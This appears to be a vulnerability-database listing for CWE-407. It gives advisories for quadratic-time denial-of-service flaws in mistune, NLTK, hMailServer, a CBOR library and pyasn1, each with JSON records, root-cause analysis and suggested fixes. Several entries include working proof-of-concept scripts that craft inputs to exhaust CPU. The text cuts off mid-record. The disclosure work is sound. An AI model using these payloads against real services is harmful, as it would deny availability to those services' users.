CWE-407
Allowed-with-ReviewInefficient Algorithmic Complexity
Abstraction: Class · Status: Incomplete
An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
584 vulnerabilities reference this CWE, most recent first.
GHSA-FFQ3-XPV3-J92Q
Vulnerability from github – Published: 2026-07-20 21:24 – Updated: 2026-07-20 21:24Summary
Type: Algorithmic-complexity DoS in reference-link definition handling. A markdown document with N reference-link definitions of the same key (or many distinct keys) takes O(N²) parser time. 5000 repeated [a]: u\n definitions take ~1.1 second; 10000 → ~4.5 seconds.
File: src/mistune/block_parser.py (reference-link def parsing) and the surrounding ref_links env-dictionary handling.
Root cause: every reference definition is parsed by scanning forward from each candidate position. The unikey normalisation runs per-def, the dictionary insert is per-def, and the lookup-by-label-then-iterate-defs path is linear in the number of stored defs. For input with N defs, the total work is O(N²).
Affected Code
src/mistune/block_parser.py — reference-definition rule fires on every line that matches [label]: url. For each one:
- unikey(label) is called (linear scan of the label).
- The def is appended to state.env['ref_links'].
- Later inline-link resolution looks up by unikey(label) in the dict (O(1)) but the surrounding parser revisits the def list for paragraph-vs-def disambiguation.
The cumulative parse time grows as the square of the number of defs.
Why it's wrong: the parser does not amortise the def-list scan. A single forward pass with a hash-keyed dict (already in place) plus a per-line classifier should make this O(N).
Exploit Chain
- Application uses mistune to render attacker-supplied markdown. No plugins required.
- Attacker submits a 35 KB document of
[a]: u\nrepeated 5000 times followed by[click][a]. - CPU pegs for ~1.1 seconds. 10000 defs → ~4.5 s. 20000 → ~18 s. Doubling input quadruples time.
Security Impact
Attacker capability: small input → large CPU. Predictable scaling. Can be repeated.
Preconditions: application uses mistune.create_markdown() (default config) on attacker-supplied markdown. Worth noting: the ref_links dictionary persists for the lifetime of the parse, so a long document with many defs builds up memory; with N defs of attacker-chosen length, the per-def normalisation cost compounds.
Differential: PoC-verified against mistune@3.2.1, default config:
import mistune, time
md = mistune.create_markdown()
for n in [1000, 2000, 5000, 10000]:
s = '[a]: u\n' * n + '[click][a]'
t = time.time()
md(s)
print(f' ref defs * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')
# Output (Python 3.13, Linux, 2.5GHz CPU):
# ref defs * 1000 ( 7012b): 46ms
# ref defs * 2000 (14012b): 186ms
# ref defs * 5000 (35012b): 1121ms
# ref defs * 10000 (70012b): 4400ms
The patched build (with the surrounding parser amortised to O(N)) keeps the time linear.
Suggested Fix
Replace the per-def re-scan with a single forward pass that classifies each line into ref_def | paragraph | other once and only inserts into ref_links once per def. The dict already exists; the wasted work is in the surrounding scan loop, not in the dict operations.
A regression test asserting that md('[a]: u\n' * 50_000 + '[click][a]') completes in under 1 second would catch any regression.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mistune"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59928"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:24:18Z",
"nvd_published_at": "2026-07-08T17:17:28Z",
"severity": "HIGH"
},
"details": "## Summary\n\n**Type:** Algorithmic-complexity DoS in reference-link definition handling. A markdown document with N reference-link definitions of the same key (or many distinct keys) takes O(N\u00b2) parser time. 5000 repeated `[a]: u\\n` definitions take ~1.1 second; 10000 \u2192 ~4.5 seconds.\n**File:** `src/mistune/block_parser.py` (reference-link def parsing) and the surrounding `ref_links` env-dictionary handling.\n**Root cause:** every reference definition is parsed by scanning forward from each candidate position. The `unikey` normalisation runs per-def, the dictionary insert is per-def, and the lookup-by-label-then-iterate-defs path is linear in the number of stored defs. For input with N defs, the total work is O(N\u00b2).\n\n## Affected Code\n\n`src/mistune/block_parser.py` \u2014 reference-definition rule fires on every line that matches `[label]: url`. For each one:\n- `unikey(label)` is called (linear scan of the label).\n- The def is appended to `state.env[\u0027ref_links\u0027]`.\n- Later inline-link resolution looks up by `unikey(label)` in the dict (O(1)) but the surrounding parser revisits the def list for paragraph-vs-def disambiguation.\n\nThe cumulative parse time grows as the square of the number of defs.\n\n**Why it\u0027s wrong:** the parser does not amortise the def-list scan. A single forward pass with a hash-keyed dict (already in place) plus a per-line classifier should make this O(N).\n\n## Exploit Chain\n\n1. Application uses mistune to render attacker-supplied markdown. No plugins required.\n2. Attacker submits a 35 KB document of `[a]: u\\n` repeated 5000 times followed by `[click][a]`.\n3. CPU pegs for ~1.1 seconds. 10000 defs \u2192 ~4.5 s. 20000 \u2192 ~18 s. Doubling input quadruples time.\n\n## Security Impact\n\n**Attacker capability:** small input \u2192 large CPU. Predictable scaling. Can be repeated.\n**Preconditions:** application uses `mistune.create_markdown()` (default config) on attacker-supplied markdown. Worth noting: the `ref_links` dictionary persists for the lifetime of the parse, so a long document with many defs builds up memory; with N defs of attacker-chosen length, the per-def normalisation cost compounds.\n**Differential:** PoC-verified against mistune@3.2.1, default config:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown()\nfor n in [1000, 2000, 5000, 10000]:\n s = \u0027[a]: u\\n\u0027 * n + \u0027[click][a]\u0027\n t = time.time()\n md(s)\n print(f\u0027 ref defs * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms\u0027)\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n# ref defs * 1000 ( 7012b): 46ms\n# ref defs * 2000 (14012b): 186ms\n# ref defs * 5000 (35012b): 1121ms\n# ref defs * 10000 (70012b): 4400ms\n```\n\nThe patched build (with the surrounding parser amortised to O(N)) keeps the time linear.\n\n## Suggested Fix\n\nReplace the per-def re-scan with a single forward pass that classifies each line into `ref_def | paragraph | other` once and only inserts into `ref_links` once per def. The dict already exists; the wasted work is in the surrounding scan loop, not in the dict operations.\n\nA regression test asserting that `md(\u0027[a]: u\\n\u0027 * 50_000 + \u0027[click][a]\u0027)` completes in under 1 second would catch any regression.",
"id": "GHSA-ffq3-xpv3-j92q",
"modified": "2026-07-20T21:24:18Z",
"published": "2026-07-20T21:24:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/security/advisories/GHSA-ffq3-xpv3-j92q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59928"
},
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/commit/2b04d7ba341c16ac78fe82d3076bdd5c3de87c69"
},
{
"type": "PACKAGE",
"url": "https://github.com/lepture/mistune"
},
{
"type": "WEB",
"url": "https://github.com/lepture/mistune/releases/tag/v3.3.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2216.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mistune block_parser: quadratic-time parsing on long lists of repeated reference-link definitions"
}
GHSA-FFR9-MGRR-WCVR
Vulnerability from github – Published: 2026-11-13 21:08 – Updated: 2026-11-13 21:08Summary
TreebankWordTokenizer.span_tokenize in the NLTK tokenizer package contains an unguarded O(n^2) processing loop in its quote-restoration step. When the method is invoked on text containing a long run of double-quote characters (for example '"' * n), it performs a list.pop(0) operation once per quote token, and because list.pop(0) is O(length), the total cost grows with the square of the input length. An attacker who can supply untrusted text to this public span-tokenization API can force a single request to saturate one CPU core for a prolonged period, degrading availability. No authentication, special configuration, or user interaction is required.
Root Cause
Inside span_tokenize, when the input contains double or repeated quotes, the code builds matched, a list with one entry per quote occurrence, and then reconstructs tokens in a comprehension that calls matched.pop(0) for each token that is a quote. Removing the first element of a Python list is an O(len(list)) operation because all remaining elements are shifted. For an all-quote input the tokenizer produces n quote tokens and matched has n entries, so pop(0) is called n times, each time on a list of shrinking but still linear length, giving cumulative O(n^2) CPU work. The violated invariant is bounded per-input work: there is no length cap on span_tokenize or the underlying tokenize, so untrusted input length translates into quadratic processing time. The neighboring align_tokens call is linear and is not the quadratic term.
Affected function: TreebankWordTokenizer.span_tokenize
Source: nltk/tokenize/treebank.py
- branch selector at line 203
- matched list built at line 205
- quadratic sink matched.pop(0) at line 209
- linear align_tokens call at line 215
Impact
An attacker who controls text passed to TreebankWordTokenizer.span_tokenize can trigger quadratic CPU work. In the reviewed release, an all-quote input of 128,000 characters takes about 1.76 seconds and 256,000 characters about 6.57 seconds on a single core, with cost growing as the square of the length. Memory use is linear. The demonstrated capability is single-core CPU exhaustion producing denial of service or latency degradation in any network-reachable component that uses span tokenization on untrusted input, such as offset, annotation, or highlighting pipelines. There is no confidentiality or integrity impact. The plausible operational consequence, where multiple concurrent requests are used, is worker-pool exhaustion; this is inferred from the measured per-request cost and was not executed against a live deployment.
Proof of Concept
Requires only the released nltk package; no corpus download is needed.
- Instantiate
TreebankWordTokenizer. - Call
span_tokenizeon an all-double-quote string of increasing length and time each call. - Compare against an equal-token-count control input that avoids the quote branch.
import time
from nltk.tokenize import TreebankWordTokenizer
tok = TreebankWordTokenizer()
for n in (32000, 64000, 128000, 256000):
payload = '"' * n
start = time.perf_counter()
list(tok.span_tokenize(payload))
print("quote-run", n, round(time.perf_counter() - start, 3))
control = "a " * 128000 # comparable token count, avoids the pop(0) branch
start = time.perf_counter()
list(tok.span_tokenize(control))
print("control", round(time.perf_counter() - start, 3))
quote-run 32000 0.23
quote-run 64000 0.52
quote-run 128000 1.76
quote-run 256000 6.57 (about 4x per doubling => O(n^2))
control 0.16 (roughly 11x faster, isolates pop(0))
Attack Chain
- Exposure:
TreebankWordTokenizeris exported fromnltk.tokenizeandspan_tokenizeis a public, documented method reachable by any service that span-tokenizes untrusted text. - Control: The attacker fully controls the
textargument; a run of double-quote characters such as'"' * nsurvives to the quote branch unchanged. - Path: The branch selector at line 203 (
'"' in textor"''" in text) is satisfied by the payload, entering the vulnerable branch;matchedis built at line 205 with n entries and the reconstruction comprehension runs at line 209. - Guard: There is no length cap on
span_tokenizeortokenize. The regex timeout backstop innltk/redos.pyonly wraps regular-expression operations and does not cover the pure-Pythonlist.pop(0)sink; a 256,000-character input ran to completion in 6.57 seconds with no timeout raised. - Primitive:
matched.pop(0)executed once per quote token, each call O(len(matched)), yields cumulative O(n^2) CPU work. - Result: A single request with a large quote-run input exhausts one CPU core for a sustained period, degrading service availability.
Bypass Evidence
No guard blocks this path. Direct inspection found no MAX_TOKEN_LEN or length check in nltk/tokenize/treebank.py, in contrast to the sibling sonority_sequencing.py which does cap token length. The strongest refutations were attempted and failed: (1) the hypothesis that tokenize collapses repeated quotes so few pop(0) calls occur was disproven by observing that tokenize('"' * n) yields exactly n quote tokens and timing showing about 4x growth per doubling, while an equal-token-count non-quote control ran roughly 11x faster; (2) the hypothesis that the project regex-timeout backstop already caps this cost was disproven by running a 256,000-character input to normal completion in 6.57 seconds with no TimeoutError, confirming the backstop wraps only regex operations and not list.pop(0); (3) the hypothesis that this line was already audited was disproven, since the project quadratic-DoS test suite explicitly clears the neighboring align_tokens line reached through span_tokenize but contains no test for the pop(0) loop, an audited-neighbor pattern where the adjacent line was checked and this one was missed. The seed remediation touched a different module and no advisory covers this sink.
Affected Versions
Ecosystem: pipPackage: nltkConfirmed affected range: >= 3.2.5, <= 3.10.3Latest release checked: 3.10.3 (PyPI)Fix status: not fixed
The vulnerable pop(0) loop is present and unguarded in the current released artifact 3.10.3, verified by direct source inspection and by reproducing the quadratic curve through fresh execution. The lower bound of 3.2.5 reflects when the affected quote-restoration code shipped; the disclosure-relevant fact is that the latest published release is affected and no fix has been released.
Suggested Fix
Replace the O(n) list.pop(0) pattern with an O(1) consumption strategy, for example iterating over matched with an index or an iterator, or using collections.deque with popleft(), so that the quote-restoration step runs in linear time overall. Additionally, consider enforcing a configurable maximum input length in span_tokenize consistent with the caps applied to sibling tokenizers, and ensure the fix covers all callers that pass untrusted text. As an interim mitigation, deployments that expose span tokenization of untrusted input can cap request and input sizes at the application boundary to bound the worst-case length.
Reported by zx (GitHub: @manus-pi).
Fix status (2026-09-28)
Two pull requests carry a fix.
PR: #3753 "[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commit: cf12a5e6a (the quote-restore loop in tokenize/treebank.py and tokenize/destructive.py iterates forward instead of list.pop(0)).
PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144. Fix commit: e20c40e26 "Bound tokenizer/parser algorithmic DoS (ffr9/gpwc/8fx7)".
No probe. The advisory PoC re-run (span_tokenize over 32k and 128k double quotes): #3753 head 3.5x over a 4x input, #3895 head 3.2x, both linear. On develop 2fa3f48fe the 128k run did not finish within 120 s, so develop is still VULNERABLE.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.3"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.5"
},
{
"fixed": "3.10.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-126300"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-13T21:08:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`TreebankWordTokenizer.span_tokenize` in the NLTK tokenizer package contains an unguarded O(n^2) processing loop in its quote-restoration step. When the method is invoked on text containing a long run of double-quote characters (for example `\u0027\"\u0027 * n`), it performs a `list.pop(0)` operation once per quote token, and because `list.pop(0)` is O(length), the total cost grows with the square of the input length. An attacker who can supply untrusted text to this public span-tokenization API can force a single request to saturate one CPU core for a prolonged period, degrading availability. No authentication, special configuration, or user interaction is required.\n\n## Root Cause\n\nInside `span_tokenize`, when the input contains double or repeated quotes, the code builds `matched`, a list with one entry per quote occurrence, and then reconstructs tokens in a comprehension that calls `matched.pop(0)` for each token that is a quote. Removing the first element of a Python list is an O(len(list)) operation because all remaining elements are shifted. For an all-quote input the tokenizer produces n quote tokens and `matched` has n entries, so `pop(0)` is called n times, each time on a list of shrinking but still linear length, giving cumulative O(n^2) CPU work. The violated invariant is bounded per-input work: there is no length cap on `span_tokenize` or the underlying `tokenize`, so untrusted input length translates into quadratic processing time. The neighboring `align_tokens` call is linear and is not the quadratic term.\n\n```text\nAffected function: TreebankWordTokenizer.span_tokenize\nSource: nltk/tokenize/treebank.py\n - branch selector at line 203\n - matched list built at line 205\n - quadratic sink matched.pop(0) at line 209\n - linear align_tokens call at line 215\n```\n\n## Impact\n\nAn attacker who controls text passed to `TreebankWordTokenizer.span_tokenize` can trigger quadratic CPU work. In the reviewed release, an all-quote input of 128,000 characters takes about 1.76 seconds and 256,000 characters about 6.57 seconds on a single core, with cost growing as the square of the length. Memory use is linear. The demonstrated capability is single-core CPU exhaustion producing denial of service or latency degradation in any network-reachable component that uses span tokenization on untrusted input, such as offset, annotation, or highlighting pipelines. There is no confidentiality or integrity impact. The plausible operational consequence, where multiple concurrent requests are used, is worker-pool exhaustion; this is inferred from the measured per-request cost and was not executed against a live deployment.\n\n## Proof of Concept\n\n`Requires only the released nltk package; no corpus download is needed.`\n\n1. Instantiate `TreebankWordTokenizer`.\n2. Call `span_tokenize` on an all-double-quote string of increasing length and time each call.\n3. Compare against an equal-token-count control input that avoids the quote branch.\n\n```python\nimport time\nfrom nltk.tokenize import TreebankWordTokenizer\n\ntok = TreebankWordTokenizer()\nfor n in (32000, 64000, 128000, 256000):\n payload = \u0027\"\u0027 * n\n start = time.perf_counter()\n list(tok.span_tokenize(payload))\n print(\"quote-run\", n, round(time.perf_counter() - start, 3))\n\ncontrol = \"a \" * 128000 # comparable token count, avoids the pop(0) branch\nstart = time.perf_counter()\nlist(tok.span_tokenize(control))\nprint(\"control\", round(time.perf_counter() - start, 3))\n```\n\n```text\nquote-run 32000 0.23\nquote-run 64000 0.52\nquote-run 128000 1.76\nquote-run 256000 6.57 (about 4x per doubling =\u003e O(n^2))\ncontrol 0.16 (roughly 11x faster, isolates pop(0))\n```\n\n## Attack Chain\n\n1. **Exposure:** `TreebankWordTokenizer` is exported from `nltk.tokenize` and `span_tokenize` is a public, documented method reachable by any service that span-tokenizes untrusted text.\n2. **Control:** The attacker fully controls the `text` argument; a run of double-quote characters such as `\u0027\"\u0027 * n` survives to the quote branch unchanged.\n3. **Path:** The branch selector at line 203 (`\u0027\"\u0027 in text` or `\"\u0027\u0027\" in text`) is satisfied by the payload, entering the vulnerable branch; `matched` is built at line 205 with n entries and the reconstruction comprehension runs at line 209.\n4. **Guard:** There is no length cap on `span_tokenize` or `tokenize`. The regex timeout backstop in `nltk/redos.py` only wraps regular-expression operations and does not cover the pure-Python `list.pop(0)` sink; a 256,000-character input ran to completion in 6.57 seconds with no timeout raised.\n5. **Primitive:** `matched.pop(0)` executed once per quote token, each call O(len(matched)), yields cumulative O(n^2) CPU work.\n6. **Result:** A single request with a large quote-run input exhausts one CPU core for a sustained period, degrading service availability.\n\n## Bypass Evidence\n\nNo guard blocks this path. Direct inspection found no `MAX_TOKEN_LEN` or length check in `nltk/tokenize/treebank.py`, in contrast to the sibling `sonority_sequencing.py` which does cap token length. The strongest refutations were attempted and failed: (1) the hypothesis that `tokenize` collapses repeated quotes so few `pop(0)` calls occur was disproven by observing that `tokenize(\u0027\"\u0027 * n)` yields exactly n quote tokens and timing showing about 4x growth per doubling, while an equal-token-count non-quote control ran roughly 11x faster; (2) the hypothesis that the project regex-timeout backstop already caps this cost was disproven by running a 256,000-character input to normal completion in 6.57 seconds with no `TimeoutError`, confirming the backstop wraps only regex operations and not `list.pop(0)`; (3) the hypothesis that this line was already audited was disproven, since the project quadratic-DoS test suite explicitly clears the neighboring `align_tokens` line reached through `span_tokenize` but contains no test for the `pop(0)` loop, an audited-neighbor pattern where the adjacent line was checked and this one was missed. The seed remediation touched a different module and no advisory covers this sink.\n\n## Affected Versions\n\n- `Ecosystem: pip`\n- `Package: nltk`\n- `Confirmed affected range: \u003e= 3.2.5, \u003c= 3.10.3`\n- `Latest release checked: 3.10.3 (PyPI)`\n- `Fix status: not fixed`\n\nThe vulnerable `pop(0)` loop is present and unguarded in the current released artifact 3.10.3, verified by direct source inspection and by reproducing the quadratic curve through fresh execution. The lower bound of 3.2.5 reflects when the affected quote-restoration code shipped; the disclosure-relevant fact is that the latest published release is affected and no fix has been released.\n\n## Suggested Fix\n\nReplace the O(n) `list.pop(0)` pattern with an O(1) consumption strategy, for example iterating over `matched` with an index or an iterator, or using `collections.deque` with `popleft()`, so that the quote-restoration step runs in linear time overall. Additionally, consider enforcing a configurable maximum input length in `span_tokenize` consistent with the caps applied to sibling tokenizers, and ensure the fix covers all callers that pass untrusted text. As an interim mitigation, deployments that expose span tokenization of untrusted input can cap request and input sizes at the application boundary to bound the worst-case length.\n\nReported by zx (GitHub: @manus-pi).\n\n## Fix status (2026-09-28)\n\nTwo pull requests carry a fix.\n\nPR: #3753 \"[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path\", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commit: cf12a5e6a (the quote-restore loop in tokenize/treebank.py and tokenize/destructive.py iterates forward instead of list.pop(0)).\n\nPR: #3895 \"[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)\", open, head b22ebe144. Fix commit: e20c40e26 \"Bound tokenizer/parser algorithmic DoS (ffr9/gpwc/8fx7)\".\n\nNo probe. The advisory PoC re-run (span_tokenize over 32k and 128k double quotes): #3753 head 3.5x over a 4x input, #3895 head 3.2x, both linear. On develop 2fa3f48fe the 128k run did not finish within 120 s, so develop is still VULNERABLE.",
"id": "GHSA-ffr9-mgrr-wcvr",
"modified": "2026-11-13T21:08:55Z",
"published": "2026-11-13T21:08:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-ffr9-mgrr-wcvr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-126300"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3895"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/e20c40e26ec9306de885703f6e53250695f1f49b"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.4"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-from-3.2.5-before-3.10.4-cpu-exhaustion-via-treebankwordtokenizer-span-tokenize"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "NLTK: Quadratic CPU exhaustion in TreebankWordTokenizer.span_tokenize via list.pop(0) in quote-restore loop"
}
GHSA-FH2M-Q9CX-5H7C
Vulnerability from github – Published: 2026-10-08 12:34 – Updated: 2026-10-08 12:34Inefficient algorithmic complexity in the REST API (6.3.3 through 6.3.5) and the IMAP PREVIEW response (6.2.22 through 6.3.5) of Progressive Robot hMailServer allows a remote unauthenticated attacker to make the webmail, the administration console and the REST API unavailable by sending a message. To show a snippet of each message in a folder's message list, the server decoded the character entity references of a message that has an HTML part and no text part with a string replacement whose work grew with the square of their number. A received HTML-only message holding a very large number of entity references therefore keeps one of the listener's four worker threads busy for minutes or longer each time the recipient's webmail lists the folder, without the message being opened, so that a few such listings leave the HTTP listener unable to answer anybody. The IMAP PREVIEW response read such text the same way, holding an IMAP thread for each client that asks for the preview of such a message. The flaw is in the server's shared string class, whose replace and remove both ran in quadratic time.
{
"affected": [],
"aliases": [
"CVE-2026-107582"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-08T12:17:16Z",
"severity": "MODERATE"
},
"details": "Inefficient algorithmic complexity in the REST API (6.3.3 through 6.3.5) and the IMAP PREVIEW response (6.2.22 through 6.3.5) of Progressive Robot hMailServer allows a remote unauthenticated attacker to make the webmail, the administration console and the REST API unavailable by sending a message. To show a snippet of each message in a folder\u0027s message list, the server decoded the character entity references of a message that has an HTML part and no text part with a string replacement whose work grew with the square of their number. A received HTML-only message holding a very large number of entity references therefore keeps one of the listener\u0027s four worker threads busy for minutes or longer each time the recipient\u0027s webmail lists the folder, without the message being opened, so that a few such listings leave the HTTP listener unable to answer anybody. The IMAP PREVIEW response read such text the same way, holding an IMAP thread for each client that asks for the preview of such a message. The flaw is in the server\u0027s shared string class, whose replace and remove both ran in quadratic time.",
"id": "GHSA-fh2m-q9cx-5h7c",
"modified": "2026-10-08T12:34:27Z",
"published": "2026-10-08T12:34:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107582"
},
{
"type": "WEB",
"url": "https://gitlab.com/hmailserver/hmailserver/-/releases/v6.3.6"
},
{
"type": "WEB",
"url": "https://gitlab.com/hmailserver/hmailserver/-/work_items/67"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FJ2W-WFGV-MWQ6
Vulnerability from github – Published: 2022-01-21 23:21 – Updated: 2026-01-22 20:53Impact
Due to this library's use of an inefficient algorithm, it is vulnerable to a denial of service attack when a maliciously crafted input is passed to DecodeFromBytes or other CBOR decoding mechanisms in this library.
Affected versions include versions 4.0.0 through 4.5.0.
This vulnerability was privately reported to me.
Patches
This issue has been fixed in version 4.5.1. Users should use the latest version of this library. (The latest version is not necessarily 4.5.1. Check the README for this library's repository to see the latest version's version number.)
Workarounds
Again, users should use the latest version of this library.
In the meantime, note that the inputs affected by this issue are all CBOR maps or contain CBOR maps. An input that decodes to a single CBOR object is not capable of containing a CBOR map if—
- it begins with a byte other than 0x80 through 0xDF, or
- it does not contain a byte in the range 0xa0 through 0xBF.
Such an input is not affected by this vulnerability and an application can choose to perform this check before passing it to a CBOR decoding mechanism.
For more information
If you have any questions or comments about this advisory: * Open an issue in the CBOR repository.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.upokecenter:cbor"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-23684"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-19T16:15:17Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\nDue to this library\u0027s use of an inefficient algorithm, it is vulnerable to a denial of service attack when a maliciously crafted input is passed to `DecodeFromBytes` or other CBOR decoding mechanisms in this library. \n\nAffected versions _include_ versions 4.0.0 through 4.5.0.\n\nThis vulnerability was privately reported to me.\n\n### Patches\nThis issue has been fixed in version 4.5.1. Users should use the latest version of this library. (The latest version is not necessarily 4.5.1. Check the README for [this library\u0027s repository](https://github.com/peteroupc/CBOR-Java) to see the latest version\u0027s version number.)\n\n### Workarounds\n\nAgain, users should use the latest version of this library.\n\nIn the meantime, note that the inputs affected by this issue are all CBOR maps or contain CBOR maps. An input that decodes to a single CBOR object is not capable of containing a CBOR map if\u0026mdash;\n\n- it begins with a byte other than 0x80 through 0xDF, or\n- it does not contain a byte in the range 0xa0 through 0xBF.\n\nSuch an input is not affected by this vulnerability and an application can choose to perform this check before passing it to a CBOR decoding mechanism.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the CBOR repository](https://github.com/peteroupc/CBOR-Java).",
"id": "GHSA-fj2w-wfgv-mwq6",
"modified": "2026-01-22T20:53:20Z",
"published": "2022-01-21T23:21:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/peteroupc/CBOR-Java/security/advisories/GHSA-fj2w-wfgv-mwq6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-23684"
},
{
"type": "PACKAGE",
"url": "https://github.com/peteroupc/CBOR-Java"
},
{
"type": "WEB",
"url": "https://vulncheck.com/advisories/vc-advisory-GHSA-fj2w-wfgv-mwq6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of service in CBOR library"
}
GHSA-FM9C-5RCF-2Q5P
Vulnerability from github – Published: 2026-10-30 23:03 – Updated: 2026-10-30 23:03Summary
When an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.
Details
ConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order. On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.
Proof of concept
Run this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:
import sys
import time
from pyasn1.codec.ber import decoder
from pyasn1.type import univ
def enc_tag(tag_id):
groups = [tag_id & 0x7f]
tag_id >>= 7
while tag_id:
groups.append((tag_id & 0x7f) | 0x80)
tag_id >>= 7
return b'\xbf' + bytes(reversed(groups))
def payload(tag_ids):
body = b''.join(enc_tag(tag_id) + b'\x03\x04\x01A'
for tag_id in tag_ids)
length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')
return b'\x30' + bytes([0x80 | len(length)]) + length + body
for count in (3200, 6400):
cases = (
("collision", [32 + i * sys.hash_info.modulus
for i in range(count)]),
("control", [(1 << 70) + i for i in range(count)]),
)
for name, tag_ids in cases:
wire = payload(tag_ids)
start = time.process_time()
value, remainder = decoder.decode(wire)
cpu_seconds = time.process_time() - start
assert type(value) is univ.Sequence
assert len(value) == count and remainder == b''
for position, tag_id in enumerate(tag_ids):
component = value.getComponentByPosition(position)
assert component.asOctets() == b'A'
assert component.tagSet[-1].tagId == tag_id
print(count, name, len(wire), round(cpu_seconds, 3))
Impact
Applications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyasn1"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.3"
},
{
"fixed": "0.6.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-119194"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-30T23:03:37Z",
"nvd_published_at": "2026-10-29T20:17:30Z",
"severity": "HIGH"
},
